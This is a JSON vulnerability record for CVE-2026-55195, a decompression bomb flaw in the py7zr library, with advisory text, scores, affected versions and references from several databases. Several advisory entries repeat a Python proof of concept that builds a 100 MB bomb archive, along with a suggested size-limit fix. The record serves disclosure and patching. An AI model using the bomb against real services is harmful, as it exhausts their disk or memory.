{"id":"CVE-2026-55195","aliases":["DEBIAN-CVE-2026-55195","EUVD-2026-42396","GHSA-gjrg-mpp7-g774","PYSEC-2026-2972","UBUNTU-CVE-2026-55195","openSUSE-SU-2026:11112-1","openSUSE-SU-2026:21159-1"],"status":"published","title":"py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00321,"percentile":0.25436,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-409"],"published":"2026-06-19T21:16:29Z","modified":"2026-10-28T02:30:24Z","fixes":[{"ecosystem":"PyPI","package":"py7zr","fixed_in":["1.1.3"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"py7zr","fixed_in":["1.1.3+dfsg-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.1.2"},{"fixed":"1.1.3"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.11.3+dfsg-5","0.11.3+dfsg-6","0.11.3+dfsg-7","0.11.3+dfsg-8","0.21.0+dfsg-1","0.21.0+dfsg-2","0.21.1+dfsg-1","0.22.0+dfsg-1","1.0.0+dfsg1-1","1.0.0+dfsg1-2","1.0.0+dfsg1-3","1.0.0+dfsg1-3~bpo13+1","1.0.0+dfsg1-4","1.0.0+dfsg1-5","1.1.0+dfsg-1~exp1","1.1.2+dfsg-1","1.1.2+dfsg-1~exp1","1.1.2+dfsg-2","1.1.2+really1.1.0+dfsg-1","1.1.2-1+really1.1.0+dfsg-1","1.1.2-1+really1.1.0+dfsg-2","1.1.3+dfsg-1","1.1.3+dfsg-2","1.1.3+dfsg-3","1.1.3+dfsg-4","1.1.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:13","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.22.0+dfsg-1","1.0.0+dfsg1-1","1.0.0+dfsg1-2","1.0.0+dfsg1-3","1.0.0+dfsg1-3~bpo13+1","1.0.0+dfsg1-4","1.0.0+dfsg1-5","1.1.0+dfsg-1~exp1","1.1.2+dfsg-1","1.1.2+dfsg-1~exp1","1.1.2+dfsg-2","1.1.2+really1.1.0+dfsg-1","1.1.2-1+really1.1.0+dfsg-1","1.1.2-1+really1.1.0+dfsg-2","1.1.3+dfsg-1","1.1.3+dfsg-2","1.1.3+dfsg-3","1.1.3+dfsg-4","1.1.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.3+dfsg-1"}]}],"versions":["0.22.0+dfsg-1","1.0.0+dfsg1-1","1.0.0+dfsg1-2","1.0.0+dfsg1-3","1.0.0+dfsg1-3~bpo13+1","1.0.0+dfsg1-4","1.0.0+dfsg1-5","1.1.0+dfsg-1~exp1","1.1.2+dfsg-1","1.1.2+dfsg-1~exp1","1.1.2+dfsg-2","1.1.2+really1.1.0+dfsg-1","1.1.2-1+really1.1.0+dfsg-1","1.1.2-1+really1.1.0+dfsg-2"]},{"source":"osv","ecosystem":"PyPI","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.3"}]}],"versions":["0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.1.0","0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.10.0","0.10.0a1","0.10.0a2","0.10.0a3","0.10.0a4","0.10.0a5","0.10.0a6","0.10.0b1","0.10.0b3","0.10.1","0.10.2","0.11.0","0.11.0a1","0.11.0b1","0.11.0b2","0.11.0b3","0.11.1","0.11.2","0.11.3","0.12.0","0.13.0","0.13.1","0.14.0","0.14.1","0.15.0","0.15.1","0.15.2","0.16.0","0.16.1","0.16.2","0.16.3","0.16.4","0.17.0","0.17.1","0.17.2","0.17.3","0.17.4","0.18.0","0.18.1","0.18.10","0.18.11","0.18.12","0.18.3","0.18.4","0.18.5","0.18.6","0.18.7","0.18.9","0.19.0","0.19.1","0.19.2","0.2.0","0.20.0","0.20.1","0.20.2","0.20.4","0.20.5","0.20.6","0.20.7","0.20.8","0.21.0","0.21.1","0.22.0","0.3","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.4","0.4.1","0.4.3","0.4.4","0.4a1","0.4a2","0.4b1","0.5","0.5.2","0.5.3","0.5.4","0.5.5","0.5a3","0.5a4","0.5b1","0.5b2","0.5b3","0.5b4","0.5b5","0.5b6","0.5rc2","0.5rc3","0.6","0.6a1","0.6a2","0.6b1","0.6b2","0.6b3","0.6b4","0.6b5","0.6b6","0.6b7","0.6b8","0.6rc0","0.7.0","0.7.0b1","0.7.0b2","0.7.0b3","0.7.1","0.7.2","0.7.3","0.7.4","0.8.0","0.8.0a1","0.8.0a2","0.8.0a3","0.8.0b1","0.8.0b2","0.8.0b3","0.8.0b4","0.8.0b5","0.8.0b6","0.8.0b7","0.8.0b8","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.9.0","0.9.0a1","0.9.0a2","0.9.0b1","0.9.0b2","0.9.0b3","0.9.1","0.9.10","0.9.2","0.9.3","0.9.4","0.9.5","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0rc1","1.0.0rc2","1.0.0rc3","1.1.0","1.1.0rc2","1.1.0rc4","1.1.2"]},{"source":"osv","ecosystem":"PyPI","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.3"}]}],"versions":["0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.1.0","0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.10.0","0.10.0a1","0.10.0a2","0.10.0a3","0.10.0a4","0.10.0a5","0.10.0a6","0.10.0b1","0.10.0b3","0.10.1","0.10.2","0.11.0","0.11.0a1","0.11.0b1","0.11.0b2","0.11.0b3","0.11.1","0.11.2","0.11.3","0.12.0","0.13.0","0.13.1","0.14.0","0.14.1","0.15.0","0.15.1","0.15.2","0.16.0","0.16.1","0.16.2","0.16.3","0.16.4","0.17.0","0.17.1","0.17.2","0.17.3","0.17.4","0.18.0","0.18.1","0.18.10","0.18.11","0.18.12","0.18.3","0.18.4","0.18.5","0.18.6","0.18.7","0.18.9","0.19.0","0.19.1","0.19.2","0.2.0","0.20.0","0.20.1","0.20.2","0.20.4","0.20.5","0.20.6","0.20.7","0.20.8","0.21.0","0.21.1","0.22.0","0.3","0.3.1","0.3.2","0.3.3","0.3.4","0.3.5","0.4","0.4.1","0.4.3","0.4.4","0.4a1","0.4a2","0.4b1","0.5","0.5.2","0.5.3","0.5.4","0.5.5","0.5a3","0.5a4","0.5b1","0.5b2","0.5b3","0.5b4","0.5b5","0.5b6","0.5rc2","0.5rc3","0.6","0.6a1","0.6a2","0.6b1","0.6b2","0.6b3","0.6b4","0.6b5","0.6b6","0.6b7","0.6b8","0.6rc0","0.7.0","0.7.0b1","0.7.0b2","0.7.0b3","0.7.1","0.7.2","0.7.3","0.7.4","0.8.0","0.8.0a1","0.8.0a2","0.8.0a3","0.8.0b1","0.8.0b2","0.8.0b3","0.8.0b4","0.8.0b5","0.8.0b6","0.8.0b7","0.8.0b8","0.8.1","0.8.2","0.8.3","0.8.4","0.8.5","0.9.0","0.9.0a1","0.9.0a2","0.9.0b1","0.9.0b2","0.9.0b3","0.9.1","0.9.10","0.9.2","0.9.3","0.9.4","0.9.5","0.9.7","0.9.8","0.9.9","1.0.0","1.0.0rc1","1.0.0rc2","1.0.0rc3","1.1.0","1.1.0rc2","1.1.0rc4","1.1.2"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.11.3+dfsg-1","0.11.3+dfsg-1ubuntu1","0.11.3+dfsg-2","0.11.3+dfsg-3","0.11.3+dfsg-4","0.11.3+dfsg-4ubuntu0.1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.11.3+dfsg-6","0.11.3+dfsg-7","0.11.3+dfsg-8","0.11.3+dfsg-8build1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.22.0+dfsg-1","1.0.0+dfsg1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.1.2+dfsg-1","1.1.2-1+really1.1.0+dfsg-2","1.1.3+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.0+dfsg1-1","1.0.0+dfsg1-3","1.0.0+dfsg1-4","1.0.0+dfsg1-5","1.1.2+dfsg-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.3-1.1"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-py7zr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.0-bp160.2.1"}]}],"bundled":3}],"products":[{"vendor":"miurahr","product":"py7zr"}],"references":[{"url":"https://github.com/miurahr/py7zr/security/advisories/GHSA-gjrg-mpp7-g774","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/miurahr/py7zr/commit/28faf107b64374fa5a02bfb93aa2024e281ca97b","tags":["x_refsource_MISC","fix","report"]},{"url":"https://github.com/miurahr/py7zr/releases/tag/v1.1.3","tags":["x_refsource_MISC","web","report"]},{"url":"https://github.com/advisories/GHSA-gjrg-mpp7-g774","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55195.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55195","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-55195","tags":["advisory"]},{"url":"https://github.com/miurahr/py7zr","tags":["package"]},{"url":"https://pypi.org/project/py7zr","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-55195","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-55195","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-23879","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55195","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55206","tags":["web"]},{"url":"https://bugzilla.suse.com/1268665","tags":["report"]},{"url":"https://bugzilla.suse.com/1268666","tags":["report"]},{"url":"https://bugzilla.suse.com/1268669","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-55195","title":"py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.","status":"published","published":"2026-07-08T20:30:58.654Z","modified":"2026-07-09T14:06:02.499Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T14:20:11.925815Z"}],"euvd":[{"id":"EUVD-2026-42396","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.","status":"published","published":"2026-07-08T20:30:58Z","modified":"2026-07-09T14:06:02Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:20:04.523855Z"}],"ghsa":[{"id":"GHSA-gjrg-mpp7-g774","title":"py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size","description":"py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes.\n\nMeasured: 15.6 KB archive → 100 MB output (6,556:1 ratio).\n\n**Proof of concept:**\n\n```python\nimport py7zr, tempfile, os\n\n# create bomb: compress 100MB of zeros into ~15KB\nbomb_path = tempfile.mktemp(suffix='.7z')\nwith py7zr.SevenZipFile(bomb_path, 'w') as z:\n    import io\n    z.writef(io.BytesIO(b'\\x00' * 100 * 1024 * 1024), 'bomb.bin')\n\nprint(f'archive size: {os.path.getsize(bomb_path):,} bytes')\n\n# extract — no size check\nwith py7zr.SevenZipFile(bomb_path, 'r') as z:\n    z.extractall(path=tempfile.mkdtemp())\n\nprint('extracted 100 MB from ~15 KB archive')\n```\n\n**Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter.\n\n**Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded:\n\n```python\nMAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable\n\ntotal = 0\nfor chunk in decompressed_chunks:\n    total += len(chunk)\n    if total \u003e MAX_EXTRACT_SIZE:\n        raise py7zr.exceptions.DecompressionBombError(\n            f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'\n        )\n    outfile.write(chunk)\n```\n\nTested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.","status":"published","published":"2026-06-19T21:16:29Z","modified":"2026-06-19T21:16:31Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T14:40:31.656952Z"}],"nvd":[{"id":"CVE-2026-55195","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.","status":"published","published":"2026-07-08T21:16:49.84Z","modified":"2026-10-25T17:10:00.197Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T14:12:28.4135Z"}],"osv":[{"id":"CVE-2026-55195","title":"py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.","status":"published","published":"2026-07-08T20:30:58.654Z","modified":"2026-10-28T02:30:24.943791538Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"DEBIAN-CVE-2026-55195","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.","status":"published","published":"2026-07-08T21:16:49.84Z","modified":"2026-10-26T12:02:46.873389115Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:45:57.236551Z"},{"id":"GHSA-gjrg-mpp7-g774","title":"py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size","description":"py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes.\n\nMeasured: 15.6 KB archive → 100 MB output (6,556:1 ratio).\n\n**Proof of concept:**\n\n```python\nimport py7zr, tempfile, os\n\n# create bomb: compress 100MB of zeros into ~15KB\nbomb_path = tempfile.mktemp(suffix='.7z')\nwith py7zr.SevenZipFile(bomb_path, 'w') as z:\n    import io\n    z.writef(io.BytesIO(b'\\x00' * 100 * 1024 * 1024), 'bomb.bin')\n\nprint(f'archive size: {os.path.getsize(bomb_path):,} bytes')\n\n# extract — no size check\nwith py7zr.SevenZipFile(bomb_path, 'r') as z:\n    z.extractall(path=tempfile.mkdtemp())\n\nprint('extracted 100 MB from ~15 KB archive')\n```\n\n**Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter.\n\n**Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded:\n\n```python\nMAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable\n\ntotal = 0\nfor chunk in decompressed_chunks:\n    total += len(chunk)\n    if total \u003e MAX_EXTRACT_SIZE:\n        raise py7zr.exceptions.DecompressionBombError(\n            f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'\n        )\n    outfile.write(chunk)\n```\n\nTested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.","status":"published","published":"2026-06-19T21:16:29Z","modified":"2026-07-13T16:42:54.181190098Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-409"],"updated_at":"2026-11-02T15:46:47.822182Z"},{"id":"PYSEC-2026-2972","title":"py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size","description":"py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes.\n\nMeasured: 15.6 KB archive → 100 MB output (6,556:1 ratio).\n\n**Proof of concept:**\n\n```python\nimport py7zr, tempfile, os\n\n# create bomb: compress 100MB of zeros into ~15KB\nbomb_path = tempfile.mktemp(suffix='.7z')\nwith py7zr.SevenZipFile(bomb_path, 'w') as z:\n    import io\n    z.writef(io.BytesIO(b'\\x00' * 100 * 1024 * 1024), 'bomb.bin')\n\nprint(f'archive size: {os.path.getsize(bomb_path):,} bytes')\n\n# extract — no size check\nwith py7zr.SevenZipFile(bomb_path, 'r') as z:\n    z.extractall(path=tempfile.mkdtemp())\n\nprint('extracted 100 MB from ~15 KB archive')\n```\n\n**Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter.\n\n**Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded:\n\n```python\nMAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable\n\ntotal = 0\nfor chunk in decompressed_chunks:\n    total += len(chunk)\n    if total \u003e MAX_EXTRACT_SIZE:\n        raise py7zr.exceptions.DecompressionBombError(\n            f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'\n        )\n    outfile.write(chunk)\n```\n\nTested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.","status":"published","published":"2026-07-13T15:46:22.219693Z","modified":"2026-07-13T16:32:08.003703054Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T15:52:56.429374Z"},{"id":"UBUNTU-CVE-2026-55195","description":"py7zr is a Python-based library and utility to support 7zip archive compression, decompression, encryption and decryption. Prior to 1.1.3, py7zr's Worker.decompress() extracted archive entries without tracking total decompressed size, allowing a crafted .7z file such as a 15.6 KB archive that expands to 100 MB to exhaust disk or memory before extraction completes. This issue is fixed in version 1.1.3.","status":"published","published":"2026-07-08T21:16:00Z","modified":"2026-10-17T13:00:27.11951447Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:56:41.382716Z"},{"id":"openSUSE-SU-2026:11112-1","title":"python311-py7zr-1.1.3-1.1 on GA media","description":"These are all security issues fixed in the python311-py7zr-1.1.3-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-06-23T00:00:00Z","modified":"2026-06-24T09:00:19.696616672Z","updated_at":"2026-11-02T16:58:38.95195Z"},{"id":"openSUSE-SU-2026:21159-1","title":"Security update for python-py7zr","description":"This update for python-py7zr fixes the following issues:\n\nChanges in python-py7zr:\n\n- CVE-2026-23879: crafted malicious symbolic link chains in an archive can\n  lead to an arbitrary file write (bsc#1268669)\n- CVE-2026-55195: unchecked extraction size can cause a denial of service (bsc#1268665)\n- CVE-2026-55206: crafted .7z archive with a large numstreams value can\n  cause a denial of service (bsc#1268666)\n","status":"published","published":"2026-06-25T15:31:46Z","modified":"2026-06-30T18:24:46.176906884Z","updated_at":"2026-11-02T16:58:41.885092Z"}]}}